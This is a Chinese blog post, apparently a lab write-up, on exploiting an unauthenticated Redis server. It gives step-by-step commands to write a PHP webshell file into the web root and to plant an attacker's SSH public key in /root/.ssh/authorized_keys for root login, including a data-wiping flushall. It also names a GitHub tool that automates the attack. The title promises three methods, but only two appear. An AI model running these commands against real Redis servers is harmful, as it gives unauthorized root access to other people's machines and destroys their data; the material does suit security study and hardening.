redis漏洞的三种利用方式

1、redis 写shell

利用条件

1、有redis服务(无需root用户起服务)
2、服务器有web服务且能解析语言

利用过程

# Keyspace
192.168.40.163:6379> config set dir /var/www/html
OK
192.168.40.163:6379> config set dbfilename flag.php
OK
192.168.40.163:6379> set webshell "<!--?php phpinfo(); ?-->"
OK
192.168.40.163:6379> save
OK
192.168.40.163:6379>

image

目标服务器上查看

image

2.redis 写ssh密钥

利用条件

1、redis服务是root用户
2、目标服务器开启ssh远程连接
3、目标目录/root/.ssh文件存在
(,写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。)

注意事项

1、利用之前,要确保一次性写入,不然可能会将上次,或者上上次的内容一起保存起来。
2、此方法需要 flushall,会破坏数据。慎用

复现过程

1、在 Kali 上生成一个 ssh key,一路回车下来,上述东西是让你设置密码什么的,不碍事。(有兴趣可以研究)

ssh-keygen
在root目录下有隐藏文件.ssh

image
2、给生成的公钥文件内部加换行,是为了在redis数据库中区分

(echo -e "\n\n\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n\n\n") > flag.txt

3、清空数据,必备操作。注意:不要轻易操作,会清空 redis 所有数据。

redis-cli -h [服务器IP] flushall

image

4、把公钥写入到一个 key 里面,这个例子中是写入了 flag 这个 key。

cat flag.txt | redis-cli -h [服务器IP] -x set flag
(将ssh密钥写入靶机)

image

5、连接到这个 Redis 上

redis-cli -h [服务器IP]

6、设置 rdb 文件存放的路径

redis [服务器IP]:6379> config set dir /root/.ssh/

7、设置 rdb 文件的文件名

redis [服务器IP]:6379> config set dbfilename "authorized_keys"

8、搞定保存。

redis [服务器IP]:6379> save
redis [服务器IP]:6379> exit

image

9、尝试登陆:

ssh root@[服务器IP]

成功截图

image

windows 工具写ssh

攻击机:window10 + 工具
靶机:192.168.40.163

window生成ssh密钥

windows工具链接:https://github.com/pan3a/Redis-Getshell

1、windows生成密钥,生成后在c盘-->用户名-->.ssh目录下
image
2、输入相关命令

python RedisGetshell.py -H 192.168.40.163

C:\Users\wal\.ssh\id_rsa.pub

/root/.ssh/

authorized_keys

image

成功在靶机中写入ssh文件

准备在将kali里的ssh 复制 出来,用工具写进去,看是覆盖还是换行共存(实验后结果是覆盖掉以前的内容)

同样在window中写入kali的ssh,导致覆盖掉以前win10的ssh公钥

image
靶机中文件:
image

posted @ 2021-06-28 11:30  ~Wal  阅读(1956)  评论(0)    收藏  举报